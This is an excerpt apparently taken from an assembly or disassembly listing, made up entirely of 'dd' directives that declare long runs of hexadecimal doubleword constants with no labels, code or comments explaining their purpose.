0A0C376E8h, 56D082A3h, 3E4B41D8h, 48B20784h dd 30FC4982h, 0AE004439h, 141144B2h, 590D6A5Ch, 30602243h dd 0F2C0387Fh, 0A501820h, 7A0314E2h, 8DEB89D0h, 0ED2DE854h dd 0E52AC178h, 0B283CCE3h, 0A1074E30h, 2DD1B6CEh, 0F82E5542h dd 0E2C0B313h, 7CB3069h, 0D8D04905h, 68FD6DFCh, 1FCEEE12h dd 0B1697B9h, 3C7AEF88h, 65F73700h, 34D9109Dh, 0B03227B5h dd 383DA011h, 972A0DD4h, 0AC084154h, 0A4E8E0A1h, 0F0FD2CC4h dd 0B0CD47D4h, 8D317497h, 148C32FDh, 8F98361Ah, 0B8C4C5D5h dd 0A4C82C27h, 0F02017CCh, 0EE17E464h, 54E315EAh, 403264B2h dd 297BF143h, 28D8FBFDh, 6FF32084h, 31603030h, 3537C2h dd 9FFAC4B3h, 7E31758Fh, 7617C500h, 0A9B88B40h, 0C98A4FB2h dd 72E6C178h, 7A607A00h, 0EDBE4349h, 2831030Ah, 65FD676Dh dd 0B2DC91A5h, 5FF068B5h, 34C15C9Ah, 0C1486CE1h, 0A4536EE5h dd 9D41D830h, 0B7FA0083h, 0ADCDDD5Ah, 0B4279B36h, 44A0E42Ah dd 0E6955BB2h, 5E04B604h, 7C18FDh, 8DD6B4CAh, 923AA37Fh dd 2FB9C40Ch, 0F59161h, 0FFB7B3B1h, 0F5F5BB4h, 0D6281A1Ch dd 0AE1584C3h, 4280808Fh, 5CBF5CAAh, 6359E20Ch, 0FB0705F1h dd 7F51B262h, 0AD03A27h, 3BDD6D1Dh, 1BA4F21Eh, 0CB66823Ch dd 104130FAh, 28D1E241h, 0C5187B79h, 0B3CE3400h, 1F8380D9h dd 5C24B710h, 298A206Ch dd 35ED094Ch, 50525A02h, 0C4CB3200h, 0FF333FC6h, 19606359h dd 0E9E0BCD4h, 0F000C844h, 3D6DA726h, 47D8F86h, 0E66349BFh dd 0B8C0A929h, 4E90B07Dh, 0FE588816h, 4E7C8C40h, 0C874CB2Eh dd 47E4C306h, 221A029Fh, 58C438D8h, 0D502756Ah, 0B0D9295Ah dd 79186579h, 91949D9Fh, 0B73897Dh, 48CC0553h, 0FE00FCACh dd 41709437h, 0D84EE55Ah, 83C000DAh, 261233D8h, 3C905A5Ah dd 1F678782h, 54DF11h, 17F2E03Ah, 0E64A5218h, 0CF93495h dd 650E71B8h, 17C19D9h, 70DB5B39h, 996806Ch, 0DCE23AACh dd 6453608Bh, 0C45E970h, 0E6C7860Fh, 7C80E0B0h, 0C8400268h dd 539CB179h, 701076C3h, 1504DE26h, 89104BA2h, 2081FC24h dd 9BCF3718h, 800FFA48h, 0B004EBABh, 512AEFF8h, 0D4D07CD2h dd 7C4CB990h, 9902DA80h, 8F0B8C40h, 0C87BFB35h, 43F30E94h dd 796D08E1h, 0CC45CB03h, 0B2606864h, 0AD00B81Ah, 844AFBACh dd 172D4BFDh, 6F763011h, 0FB3F003Ch, 42C2943Bh, 2D0302D7h dd 887CCD16h, 8EBF8048h, 0EC05Eh, 0A630A086h, 801E0h, 278AB3C7h dd 7E5DD0AAh, 6CCF8400h, 44FA5C81h, 0A17C070Eh, 0C02A044Ch dd 811FFBAh, 20A02BB8h, 5C0D8714h, 9ABD6CBEh, 0EFBD0h dd 53857873h, 0B4688C01h, 5DF4B10Ch, 0CA7285Bh, 80150C5Ch dd 36006139h, 300AA67Dh, 660268DAh, 21770820h, 0E07DC3A0h dd 0B592C01Fh, 37672307h, 564A45B0h, 60DA306Ah, 0B4838128h dd 0ECD9B9C0h, 7D096CEh, 9076B3ADh, 0BE9B0354h, 0F52F81D1h dd 4C07D26Dh, 0F4039DA0h, 0BA400CACh, 5908C4EBh, 0B6A721C0h dd 72F7259Dh, 2A3F00E2h, 60E5C154h, 1C01DAA3h, 0B1B357CEh dd 0B1804DEAh, 620FD708h, 180E61E9h, 0A70239F1h, 60403354h dd 492CBCAh, 0E08C687Fh, 0F61E4038h, 0ED7D6DDh, 0A1FB82D4h dd 0E0620DA6h, 0A7CF081Dh, 10055073h, 0B14A28h, 0F4C27D45h dd 1899929Ch, 50B6505Eh, 0A36C3869h, 8C2CF0C1h, 69DB904h dd 6662C4F4h, 9DB1AC20h, 16100078h, 0DC520B50h, 777163E2h dd 3D0C79B8h, 80D2C2D6h, 590D6983h, 84AF1B01h, 0DED180BDh dd 373640A6h, 60650C98h, 0C508A83Fh, 9EFC21C0h, 89E740h dd 414D7AB8h, 61696BBCh, 9C080214h, 8CC7B828h, 4DB92300h dd 71581C2Dh, 0C5D490Ch, 4350200h, 0F57DE51Dh, 0FE103861h dd 21817028h, 0A8FC0DF7h, 0DD80CC7Fh, 13005976h, 0FFD4E787h dd 0FF5DF72h, 63E30E36h, 0F848C6Ah, 0F38544A2h, 23CC013Eh dd 910E21E2h, 0A180B4B8h, 80373940h, 0F9C4448Ch, 0C6033998h dd 2EC1EB79h, 0CF69E804h, 206A4927h, 0E50EF601h, 0D875C27Eh dd 0A378A41Dh, 0DDEBA605h, 0C405C906h, 0FC44B9ACh, 3232413Bh dd 0E09DBB30h, 229446F4h, 0B3AA0165h, 47EEE39Dh, 0D0F7D92Ah dd 1348A7C5h, 0F6C880F0h, 2805AEh, 6D4C10Eh, 0ADE7A12Fh dd 1D547149h, 0F8A08FD7h, 20CA3B7h, 0F601AEB0h, 0D900C54Ah dd 32C11E07h, 2BA84EFFh, 109DBA30h, 0E0CCF407h, 29DB2ABh dd 763B6A30h, 6C623598h, 0C711BC1Dh, 8545FD80h, 0DD39E623h dd 0C0EA24F5h, 476BE582h, 0A0F48A88h, 3584674h, 0A2D5F35Eh dd 0DB5001D6h, 53D259A8h, 302E02CCh, 4119DB7h, 5A88B4F4h dd 9DAFAE80h, 9C0B351h, 6B8B63E5h, 36DEC421h, 3E6900BBh dd 0D831D043h, 722AC0DEh, 0B43F8FB3h, 2564DB0Fh, 210C2C1Eh dd 4B430C81h, 13508A5Fh, 0E2197060h, 1407B89h, 0A6E861A3h dd 0F0971826h, 0DC00E4F6h, 0CA999582h, 2ADDB8Ah, 0E70A8B89h dd 0FC885C83h, 8BB011C4h, 370182A5h, 0CAC4B1A0h, 409DFD10h dd 3747D49h, 1C043F83h, 0CAC2C099h, 0EC0F0010h, 0AC576D3Ah dd 0D771FC8Bh, 2C4DFD24h, 0CBCF5203h, 1F780467h, 8E9B08A2h dd 0C7CB8804h, 2BEC0038h, 0A30C0439h, 21BA85C5h, 0DDF30ABEh dd 16B4D5AEh, 29160906h, 53C2C90h, 0E3B82E00h, 0DB854902h dd 444874FAh, 0D001D74h, 2C5952Eh, 6083668Dh, 27B859B2h dd 1900D745h, 3F5514FCh, 0C6E608Fh, 6199B737h, 0DF100EE0h dd 0EF063D3Bh, 187045E7h, 68D9B101h, 3746967Ah, 989165D5h dd 2E04809Eh, 8C0AE3B7h, 21E7244h, 91972E0Ch, 18C996E1h dd 3BEB106Ah, 57DB1A79h, 589D5890h, 0E4815911h, 0C9643FADh dd 0C6BC412h, 10D08C60h, 3061E7FDh, 5D315C97h, 8200F73Bh dd 0B81B2E20h, 61D5A1h, 3E4D43CAh, 5F40ED57h, 221A3F00h dd 0F1933B9Eh, 0ECB11230h, 8C584682h, 0C0F1D9E8h, 69602A9Dh dd 21CEF711h, 41EE26EDh, 9B98005Ah, 16C60212h, 5F0F90Fh dd 809C35BEh, 0E3BA2E07h, 224843F2h, 0F1B0077h, 13C7192Eh dd 0A022F3Ah, 0B69A23Ch, 29489ABh, 126E831Ch, 279AA005h dd 0BB2E0030h, 0CCA72AE3h, 2E082200h, 989A7FDh, 0B3F2D5F5h dd 4B993C00h, 58C366ABh, 186F0671h, 0F9CE8331h, 4D033E89h dd 1E9A72E7h, 6A009F06h, 1F205BAh, 0DF33CE8Ah, 0EE55E89Bh dd 180DC0E1h, 0A57D0835h, 79C4380Ah, 7D2DC040h, 1B0017B3h dd 8D07EBCBh, 2E6A1DA1h, 0A84C3BEFh, 4339205Ch, 0AFDF1C11h dd 31EF077Ch, 8306A85Ch, 0B870860h, 20954C57h, 54B5F078h dd 456B80FCh, 0D8A2EC65h, 0BD81C906h, 6046176Dh, 860F25D0h dd 0DC0013Ch, 2960F1BFh, 1AE530B5h, 8B61F928h, 1ED9D1Ah dd 0B87BDD10h, 58364D58h, 2503CE80h, 0E381F947h, 0F85C7786h dd 0A4CF009Ah, 0FDB0B74h, 1A606B85h, 0C156CD7Dh, 0CC97AB2Dh dd 0B5188B90h, 0F5BA2899h, 0C5BD1483h, 0EE6392EEh, 39180B84h dd 810B4FE9h, 0DBEA02C6h, 85C76122h, 0C2AD188Dh, 25BF17Fh dd 1D7D8D29h, 172ECBA6h, 0A5BD8B1Ch, 84218420h, 1FE9FD6h dd 0BC60A0D6h, 85C5AE8Dh, 601C4424h, 0E19C7F2h, 0EA5CD5F8h dd 1EBEF140h, 4B5AEF59h, 0D2D40ABh, 57922707h, 3ABE6600h dd 0FF2381F1h, 0DDCEE5FEh, 9A58F3DBh, 93B03873h, 21B58986h dd 8B48C62Eh, 0DB8C1600h, 0C06D9AFAh, 0F1570E5Ah, 9951089h dd 28F63E31h, 0B35BF004h, 23133BBEh, 0DC161Ch, 0D70DD0DEh dd 0A8064F34h, 68D95FFh, 3056B766h, 0FFF25AD6h, 9B827B40h dd 7DC77F8h, 9358E5BEh, 0EB8A507Bh, 5C06A403h, 11E8BF6Bh dd 735A002Fh, 200C3AF0h, 0DC00A64Ah, 8F18521Fh, 0F5D5FE5h dd 50905EFBh, 5520852h, 18A0BF81h, 31ED1334h, 6C8FE740h dd 5058165Ah, 3F8BAA90h, 32C71B88h, 0AFF272E0h, 0BAC80003h dd 0F9FE8B66h, 6EF3EAE9h, 0C8BDCBF9h, 0E2392797h, 0F7D32D78h dd 0E487BD12h, 0B01298CDh, 3375BD44h, 8E70E604h, 0C01A8849h dd 9E3D6FB4h, 0FD7BE816h, 3AEC90AAh, 850096DFh, 0A61D1BCBh dd 97E49BADh, 0AAD8C085h, 15E23CE2h, 48516E30h, 0BF02A8F9h dd 0BA5FD313h, 9D102466h, 8B123189h, 23ED3AC3h, 51290214h dd 53DD8F0Fh, 0AD368039h, 5E1C17ABh, 4E8C101h, 0DE9BD33h dd 0F7667280h, 65B52BE2h, 0C0120E6Eh, 6DE681D8h, 2D6802B3h dd 241C8950h, 1D441747h, 3D4CB460h, 9AC76D0Fh, 671E4034h dd 59F5BD23h, 0FF163113h, 0F84C22B5h, 1B31B240h, 73DDFAFDh dd 526E5883h, 7E127590h, 180A5E9Fh, 220011E9h, 48FD3C2Ah dd 659B0055h, 8193BEE2h, 0FE021295h, 327CF8BAh, 1D2B42F3h dd 0C01C11F5h, 0FC558B76h, 216F0428h, 4009E903h, 0A6236194h dd 34A409DBh, 2C22DF7Ah, 0A340F9B7h, 61783CFBh, 2458316h dd 0AC02817Bh, 0E35760DEh, 0D9693840h, 74B55E92h, 1702D623h dd 748EDB40h, 0D4DAD74Fh, 0CF55400h, 0BF7D3EE5h, 4E910151h dd 0A9B5012Ah dd 31DF4502h, 800EE871h, 59F7440Bh, 17EEAE61h, 0B8AAEF74h dd 0DA7C0430h, 80805FFCh, 6A65BD2Bh, 0AD584415h, 8059B5DDh dd 9F4766FCh, 9D09E164h, 28410A75h, 465C2877h, 56510119h dd 0A7860BA8h, 9505DA55h, 0D36F58F5h, 0B4B07E02h, 70608BF1h dd 898021E5h, 1AA124BDh, 880F41C5h, 3340753Eh, 301CA23Ah dd 1676EF90h, 0EB53CF00h, 0B503BAAAh, 7125617Dh, 22EF595h dd 0B71D50B9h, 61DC8174h, 83F0CCCAh, 73DFC2C1h, 9F535838h dd 8109001h, 0D20A6C77h, 4F960E8h, 617DE680h, 8667813Bh dd 0D3DDC2B4h, 570C7895h, 9BC5650h, 0E35F1140h, 0E6D94570h dd 8DDE0581h, 0D2C1F669h, 0D51A7525h, 21F87779h, 9BC4077Bh dd 0A782A1EAh, 26B25B3Bh, 1EF97982h, 0F7815B00h, 0C28397Ah dd 23C31CFDh, 1E3459B5h, 2908D13Dh, 672A31DDh, 0A1AC2DE9h dd 4158DE4Bh, 401A41B7h, 0C08BF66Eh, 62098174h, 0F29FB40h dd 0B8D84ACDh, 1C4674h, 645213AFh, 470C56Ah, 85C7964Ah dd 1142909Dh, 5D583891h, 16151AECh, 10D1DF14h, 8D181DD1h dd 0CF5E9300h, 0BE071E60h, 38CE4BFEh, 1260857Eh, 1DB5333Bh dd 0FF20CF09h, 8B1C1694h, 0D99374BDh, 32ED6E54h, 7201E1ACh dd 0A902F10Dh, 7662A1A5h, 3226B92h, 0CDF357F0h, 0BF80BF12h dd 486686DCh, 0B06674Eh, 5E1F41B5h, 6BBF905Bh, 54FE0034h dd 0B8DA0248h, 20897285h, 53A02A09h, 0DB2921FDh, 18D18744h dd 0B10BB818h, 7F2B097Eh, 89177DE4h, 0F65FC1B5h, 0C2FEBF0Ah dd 280A9508h, 96D616CEh, 0ACC8AF25h, 28CC007Fh, 8D9FA65Fh dd 82320FEDh, 43561D02h, 0CD1D94Eh, 5B042A6h, 2EFCF1B7h dd 1F14235Bh, 4FE7006Dh, 0F2867EBh, 989955EFh, 0C9018333h dd 0F2D04A8h, 0D8F01773h, 600D077Bh, 4424ACh, 0F50EEAA6h dd 0B20EB4B8h, 0CF3A6D09h, 9D95E2D7h, 0E79E6D6Fh, 0DC800F32h dd 0D221BCB5h, 72552826h, 0B030108h, 0C07DE2E9h, 270FF2E0h dd 5B103980h, 0E8812FD9h, 0DB56440h, 0E12300EAh, 0EF673BA2h dd 0E9008CC7h, 0F8A6EE70h, 58965FD8h, 3BC0F005h, 0C4144334h dd 29F12200h, 2D186079h, 5F2500DBh, 7C326ABFh, 0F9135E10h dd 273AC18Bh, 0C4001623h, 0F78BAADAh, 46C2FDEBh, 279D341Dh dd 0EEE6FC4h, 32858D28h, 82DB2DC4h, 0E8611AC2h, 0B4002D7Ah dd 0A9C8284Fh, 127CE203h, 85C8DDCh, 0A49612F4h, 0B2B9DCBAh dd 23EEE55Bh, 0B58C5E4Dh, 0FB030EFh, 80C316Ch, 5A611260h dd 0E8EAD158h, 0DD2D4007h, 44F4B3F3h, 0E5BF6C01h, 5F3DACA3h dd 0E804E87Ah, 352D8C14h, 1937F56Ah, 9F389607h, 8780EFE0h dd 0B71450E1h, 0ABFA16E4h, 2C6F06h, 0CC8A7923h, 390F62C5h dd 9CF8ADFEh, 4251641Ch, 5305C083h, 0B6BA70EAh, 5AE96601h dd 0CD03222Eh, 8A0C5930h, 390BD1C2h, 19E1467Fh, 82240489h dd 5F0B4280h, 0BBFADDh, 0F5C9469Ah, 0EE16B46Fh, 0D6FAAC02h dd 6AC84952h, 5A7740D8h, 14081AC5h, 7B46145Eh, 0BAC9500h dd 0DB22D68Ah, 2027B0A0h, 5CB72541h, 20074BBBh, 8D1D989Dh dd 0AB8C7F44h, 9CD3BDB0h, 16465ED6h, 6BF4210Dh, 571C00FAh dd 9EB05FF8h, 0C233F124h, 0F2AB4CF6h, 0E9CC602h, 76D96FE9h dd 8FAEEC2h, 14465C5Fh, 1578EE26h, 3C5A9619h, 0D6B74D8Ch dd 4900F490h, 0BF66FAE2h, 258BC5E9h, 0EB086D9Dh, 0F016D628h dd 9DCDBAF9h, 2178EED8h, 0AB91E631h, 835E5101h, 6CF8F7BDh dd 12418E78h, 358524DEh, 0EB4EAEEh, 0FB305BC9h, 184C5B2Bh dd 74BE2760h, 71FDB7A5h, 14E02FFh, 0D0507BD7h, 5F004903h dd 36F67511h, 2C29E6BEh, 4F307AAh, 0B732E9F8h, 4E83B514h dd 5B508486h, 6F9D2C9Ch, 8D141E68h, 0FE56CAF3h, 5EA91905h dd 26A89FB2h, 191E1A0Ch, 41A17011h, 4D9D6834h, 47FBCA2h dd 0BD89D539h, 33B6E051h, 0D5BB577h, 9F98A262h, 811791A0h dd 210CF12Fh, 20E9352h, 0CFE48E0Fh, 0BA5F572Dh, 40F9EDABh dd 7D0D4666h, 0D4B99D00h, 0FD0E77Fh, 20FA5FBFh, 84A84986h dd 4470DF02h, 416650CCh, 0D235E516h, 0AC1FED6Fh, 877000B8h dd 0E28D329Eh, 0CE018116h, 31B28EF3h, 4E7423E9h, 3A5607BFh dd 9B0486Eh, 0ADC0C2EDh, 287314F0h, 2DD48E8Ah, 7F9A0621h dd 0E161E56Dh, 0FA2C890Fh, 71E4F8C2h, 1944A967h, 47088060h dd 53E9C116h, 0CAA63685h, 35CBCE0h, 854FA709h, 290F007Ah dd 0B40F79BDh, 0E1CDC929h, 1C40C2C0h, 0A30A245Fh, 0BBDE3FECh dd 0CEFE4660h, 0CD6700B9h, 2EE697DEh, 4D002336h, 24CC3B11h dd 16771464h, 0EFC38B5Eh, 0FCC04A9Ah, 284C511Dh, 0B98D8909h dd 0B78A2219h, 577D0FEh, 245DEBEh, 2957A16Dh, 29C8BDAFh dd 2B8A166Bh, 0CD90EAD8h, 0D16931h, 0C3E66212h, 948BA73Fh dd 29F67E01h, 939D8FC0h, 0E88F1E78h, 808E5F1Fh, 0C682BF50h dd 93027CFCh, 112F2EBEh, 0AD8B7314h, 80FA1FFFh, 620BE457h dd 7E140365h, 163FE86Bh, 1E0B5BA9h, 1E647512h, 1A5FFC27h dd 81F3C19Dh, 9C0FFAD2h, 32609E0h, 0CDD78F0Bh, 2CE06069h dd 0B30E7755h, 32BF2DF4h, 0B90E8E13h, 0B637EFE5h, 2330D5D2h dd 0A8CCBD33h, 9D8905CEh, 0ED5426ADh, 186E4E87h, 0FB0F2500h dd 0F57536A8h, 858914C1h, 5A8C2C69h, 8D10605Fh, 0EA8B2540h dd 48BEBAEDh, 16DF9661h, 1B9ABFC3h, 0E03532C2h, 28B5DE60h dd 8A058088h, 2E74B422h, 49545C4Ah, 1E9D01DCh, 0B59998BAh dd 8F4CD957h, 0B2D6D758h, 0FB8B8042h, 6429672Bh, 0D0106719h dd 0B9A9E5Fh, 99B52BD5h, 6E58B5E1h, 0A7AC2EA9h, 8FF83360h dd 0B64C4253h, 172C91D2h, 683F07B9h, 98021723h, 8BBB79D2h dd 42DBABBBh, 3D7482A8h, 83490B0Eh, 53AD6FF1h, 0B3B9F281h dd 81E26076h, 7C02E20Eh, 0CA8A0FCh, 0B68473AEh, 0B14E3173h dd 77A1222Fh, 7A681F41h, 79539C8Dh, 0FA57B8FCh, 0F4920772h dd 15309C82h, 0CA3394E4h, 0AC374DF8h, 2803024Fh, 5B762ABCh dd 0B019582h, 0DDFB2B07h, 8F61FDCDh, 0A4DAB6BEh, 660E2DBCh dd 0BA6CFAEBh, 9F311145h, 85C0DBC2h, 0B6718D29h, 3FFB5B61h dd 23580099h, 0AD0A090Fh, 87921637h, 80C0D590h, 0C722815Ch dd 6D0854Bh, 48BFE1D9h, 3B469578h, 0DFC1A5F0h, 7F16D714h dd 77BD0196h, 2F359501h, 85A1942Dh, 85852830h, 0A2B726B1h dd 0F08C204Fh, 0F3007BF6h, 0E89AD391h, 15B4097h, 6423FFD9h dd 0ED6986E5h, 53F209Ch, 1653BF88h, 600A6C33h, 4DE78135h dd 0C606316h, 0B426A3DDh, 0B9FA51B0h, 0E348EB05h, 0CD81674Ah dd 57020639h, 611F30CBh, 64E5905Fh, 0F603F5Fh, 5267454Ah dd 84F4BB58h, 1E7945h, 7CDACEC1h, 0A475AF14h, 0C3A8DE00h dd 0D8DD80D9h, 4E329061h, 4966EF7h, 0F1B58918h, 0A2BB69D5h dd 11414CC3h, 0B7162005h, 0ED1504F3h, 290C1802h, 0BE71BC07h dd 7CC71F24h, 74161546h, 0B306FB0h, 0A4BEFE2Eh, 0C8132684h dd 18F01D8Ch, 0A232E500h, 870840EEh, 89410026h, 3846ABB6h dd 5F50F52Fh, 0D89279CFh, 367895B3h, 338C01B1h, 0C18D31A5h dd 0C9924906h, 0C02C5B28h, 2F8E64B6h, 9CE92D5Eh, 6E8BBC89h dd 0BB5A803h, 0E5C85592h, 5B99C18Bh, 8B181BD1h, 50B09A01h dd 345F8673h, 94F3BC6Eh, 44F8272Dh, 74C80038h, 0E7D5C551h dd 973C5B86h, 119480DDh, 41CDF0DCh, 69A8B6E6h, 1E80B8B7h dd 20ADBD5Ah, 5F2E9065h, 0FEAB160Dh, 0CEC23DDAh, 0C4683FCDh dd 1D359531h, 0D4A74E01h, 23DE2B4Ah, 0CFE90017h, 50F543C5h dd 169160D4h, 11DB2404h dd 4BDDAE97h, 40DB48BDh, 973F7312h, 1D008651h, 0A5D089E3h dd 0A060F652h, 91329992h, 61D205D5h, 0B2B3B35Eh, 0B326301Dh dd 5BC07500h, 0A8F78D59h, 0B979812h, 6EC51419h, 0A000AAE2h dd 6AC0594h, 5BDC209Ch, 0EEA91669h, 97E10CD1h, 0F91AD8h dd 8971046Ch, 64C7D706h, 0F205D3EAh, 90426D66h, 0E0497C3h dd 5E575035h, 8360173Dh, 1B708269h, 5A2431ECh, 618B6458h dd 8E66DF90h, 0FB981B90h, 59A4C3DCh, 7F620EF4h, 700B9E65h dd 4502F104h, 0AAB3F18Bh, 4EBCD249h, 0C5853108h, 5002417h dd 0B32A08C7h, 3F6E4EC5h, 4DA72100h, 0EA94D76Dh, 2FBFE401h dd 523A9C93h, 5EF19A40h, 0F5D32DFFh, 0BD29CB98h, 1672754Dh dd 0B0CE3BE9h, 0B20E9E24h, 91D9F948h, 8B4721E4h, 0BD30649Dh dd 2FD51028h, 8157345Ah, 50779A8h, 0D3BB57A4h, 80169B75h dd 0AD7E6DAAh, 0DE8024A3h, 83908A4h, 9F85831Dh, 7DB4AC03h dd 0F663B476h, 4F6FD60Bh, 0E90CAD3Dh, 3AF96Eh, 291E2A74h dd 451378h, 0B540719Dh, 0F6F9B438h, 0E95FC209h, 0AABF75h dd 4313CEB8h, 0E950E3A5h, 7C07553Ch, 2E4DEEF9h, 0D54EA3F0h dd 0D8860152h, 0C75D9B2Dh, 2D834985h, 0E9F90D9Eh, 10090D2Fh dd 0F43A13A4h, 944DAC03h, 98F215C8h, 48FC57B3h, 7BD40A8Dh dd 0A47E70Bh, 52B08566h, 0B521D52Dh, 82CF2365h, 939D1F4Dh dd 56175AD9h, 80279EEAh, 0F6C07A27h, 0DD5138Bh, 17AB28Ah dd 0BFD1EC22h, 632C15F3h, 0A5CB29CEh, 0B850B7A4h, 8E92DD67h dd 304C50B2h, 62804C7Fh, 4565BDC5h, 0EF3CE992h, 1BB2F2B3h dd 3E9B3530h, 0B00BCD05h, 0ECA4781Ah, 0E68BF414h, 8D6E704Bh dd 0B37BB600h, 90BF66B8h, 71E4B212h, 8401D96Fh, 0A15F59EDh dd 9509C45Dh, 900BC527h, 72BE6693h, 4BF4B4C1h, 0D2838B37h dd 0A1BDD19Ah, 2ECBFEACh, 3F972DBAh, 112F1048h, 816D305Dh dd 0E4D800D7h, 1E78EE2Ah, 0F92734EFh, 0DF6D8B5Fh, 5067DF4Dh dd 0F308ACB0h, 0F531C0Ch, 443CA887h, 0CF030309h, 0FEA8D33Fh dd 81A44E70h, 6BE2F744h, 77F896Eh, 2B271494h, 15B562D8h dd 8B50B1A1h, 0E5163FF7h, 3B01996Fh, 0E96A111Ah, 0B819A40Dh dd 0D9415600h, 4CF4535h, 71E796E1h, 3BD6B38Ah, 37524B23h dd 430AD69Dh, 9DC11588h, 3738B0AFh, 941C0917h, 8930C583h dd 0CE5144A4h, 0C01A88D7h, 31EC410h, 3C1DE916h, 286FF292h dd 430CDE9Ch, 0B26D0FA7h, 652F5BC5h, 0A894A90Bh, 0C71E00A0h dd 69D01DF5h, 8B1CFC60h, 3A2D2DB5h, 700DFBFDh, 3F488653h dd 447A189Ah, 8310015Ch, 9A18F9B7h, 4E0EBBACh, 4134B9BDh dd 609036DDh, 5C9F630h, 858B3192h, 6A48B515h, 80E63E56h dd 4DEB48E3h, 0F57B9412h, 0F6819040h, 48E02312h, 6E4B7735h dd 0BB3C1042h, 4955B512h, 3BB75858h, 2C214E87h, 4B32C4C0h dd 76BE05C9h, 0B561AA81h, 642BEE12h, 4ECC7AB0h, 0B5D6E053h dd 82D6A17Ch, 1D88229Ah, 74A9F3C0h, 1E5E0240h, 5BF1E435h dd 7F05AB5Ch, 28B1F9E2h, 0D4B8133Dh, 37484F00h, 231C84C7h dd 816B0173h, 8D7649E6h, 224D6D7Dh, 0FA1CC1D5h, 6C0CED17h dd 31235A3Dh, 0A6EB8591h, 0FB79F07Ch, 60C418E2h, 118850FDh dd 47C05E8Ah, 3ED960BCh, 0F802EB09h, 7175EAA7h, 0B4DFCC5Eh dd 0D0E3479Eh, 2E53E41Fh, 1D23395Ch, 2CDFE2F8h, 34CFD200h dd 90C32B5Bh, 0E4702744h, 6D25C7E7h, 0B4ACC7F0h, 0A94484C8h dd 33E91994h, 7A3FF523h, 5F640087h, 0DC1A8CC2h, 40751733h dd 94B9B089h, 852731E2h, 0F1438951h, 15CDA7F1h, 0F483FC40h dd 4F07FFDh, 6D85C74Ch, 4377011Ah, 6E3F398Ch, 0AC73A71h dd 0BB0EEF58h, 86EE060Ah, 89C0A32Ch, 0B60CA98Dh, 0A55ED952h dd 0B5372Dh, 0B813FDE9h, 3D2633A4h, 18968A3Ah, 0DD6675DDh dd 0FE0DB0F7h, 0E6030903h, 9D29A678h, 890ED4A1h, 0A7165DCEh dd 0BD010540h, 0AA8E0AADh, 801EDA5Bh, 75BD8934h, 8807BE27h dd 0E9241461h, 0F90BE424h, 8D239007h, 82B7AAA1h, 5E75956Ah dd 88BB0047h, 613642BCh, 45150DB5h, 1EDEEB60h, 0F48D01DFh dd 8163E83Bh, 6E136B20h, 5EAD0630h, 84B09B45h, 6B809D4Fh dd 4ED67EEh, 292785BFh, 88C68E4Dh, 2AB8C315h, 0D7D6B617h dd 801FE8E0h, 0F059B70Fh, 0B8BCDBh, 9ED2C775h, 0DF81A697h dd 0EE96609h, 93CC8050h, 9801FA9Ah, 0F00C4524h, 241768EFh dd 0A2054C41h, 0F23E2D25h, 9C3E1823h, 0E56898Ah, 0A7E212E6h dd 2610A77Ch, 0C4E3E916h, 0C1779B69h, 604BBF99h, 0A86E6Eh dd 0AC0E21A0h, 0E407FC1Ah, 96F4CE2h, 0F94C0122h, 1B5D100Ah dd 380EB927h, 0E0BEF652h, 9BCC7DFh, 313DCADBh, 20FB604h dd 744D8D21h, 0DE6B2CFDh, 111D312h, 2207C8h, 4F479681h dd 0C3D0F7A5h, 0B75FF50Ch, 0B6416CF6h, 35DF2FA5h, 338480E4h dd 0E9958B9Dh, 8D6507FBh, 66E66012h, 0B5EC86E0h, 201ECC26h dd 2420791Ch, 0E65E183h, 2F1C2585h, 9EE0054Dh, 1E960B18h dd 9344F259h, 84FE1143h, 29ECB749h, 2A986501h, 0B4FD50DAh dd 408DF020h, 0BE91E92Eh, 2C5D9600h, 73B1E640h, 0C0150A5Ch dd 9C6EF2BBh, 0B7FF2D23h, 0DA78B51h, 7CB2C200h, 614C2A4Dh dd 80C604B4h, 598DD1D2h, 48C26A20h, 32883791h, 0DEBCCA24h dd 559519D1h, 5961E452h, 71C01CFh, 0D0C3AEDCh, 57E8FECDh dd 0E9764C1Bh, 7E30924Ch, 0C002F447h, 8D297328h, 1508DEC5h dd 1276508Bh, 751F199Dh, 79DDA307h, 8A36688Bh, 0E6195B15h dd 60DB34D5h, 0FCF15D36h, 0B6E2FFBBh, 0E4F010E1h, 0A4D3EF6h dd 43B6D20Ch, 0A0DF34A0h, 39381A90h, 0FC8A8160h, 0F91BD29h dd 0D78BB38Eh, 35950B61h, 5B1A3225h, 28DE7BD6h, 450C2C89h dd 6E6E3A1Dh, 0CA79E30Eh, 66024C60h, 5A2A64BBh, 5E98378Bh dd 22B2FF53h, 0DE8A1502h, 96673F8Bh, 0E7C94A45h, 0E6160E40h dd 9C60F31Bh, 6B0E1CE2h, 722075B6h, 0FDA033B9h, 102EC458h dd 5E2410DDh, 399D053Fh, 0ED59E41Ah, 0F890391h, 1AF59A81h dd 0D97040E3h, 2CA8A42Bh, 0F69801EDh, 9300A3E6h, 0E8815414h dd 627B7EAFh, 1A6D5835h, 18C4C467h, 0E4204A61h, 0D9D65EDh dd 0CD3DA5D8h, 0F8B5C0B9h, 0BE604101h, 2172790Ch, 40DDBD70h dd 0BF91612Ch, 12076DE2h, 1C11671Fh, 38DDB380h, 320B5E0Ch dd 0F07FCA4Dh, 201049AAh, 6FF728CBh, 4E2540D8h, 7F74A5C7h dd 0DA813902h, 6AEC1FF2h, 81C4370Bh, 37877FB4h, 0AD89410Ch dd 85C7011Dh, 6FD2202Dh, 837E1C0Fh, 0F977EB84h, 352988C1h dd 94766102h, 9E9C00DCh, 491B97B9h, 365C7427h, 31551072h dd 6107EB02h, 0E5F2E99Dh, 0C0EE6D95h, 5EF4CED3h, 9416EA09h dd 461BE0DBh, 0C428A511h, 6E7E6018h, 0F15F4856h, 4FEBC100h dd 0FA251C8Fh, 0A108AB01h, 0A4ACDAC6h, 71D2D4E8h, 7E4705Ch dd 0F53134CEh, 0B327501Bh, 5BF2D129h, 2AC7DD07h, 0CFCF17E6h dd 0DB6743DFh, 13E85A6h, 0DDB48700h, 0D9202352h, 0E9899E70h dd 2F985CF6h, 8230B555h, 3CC4BEADh, 91A053F7h, 8153072Eh dd 2811A2E7h, 8DF95F35h, 45507863h, 45B88119h, 0A1B2EA4Ah dd 2510B458h, 4C2120Bh, 0AD95E802h, 0C7C02432h, 0BB171F00h dd 13C8EDCAh, 553D064h, 0EA9F801Ah, 1188A3B6h, 0CD081AA1h dd 0BD0BC09Eh, 2F992771h, 0F11819F1h, 0B815EE06h, 0B0A4FF46h dd 0D0B55F7Ch, 0EEDF8106h, 58A4CF00h, 11858D61h, 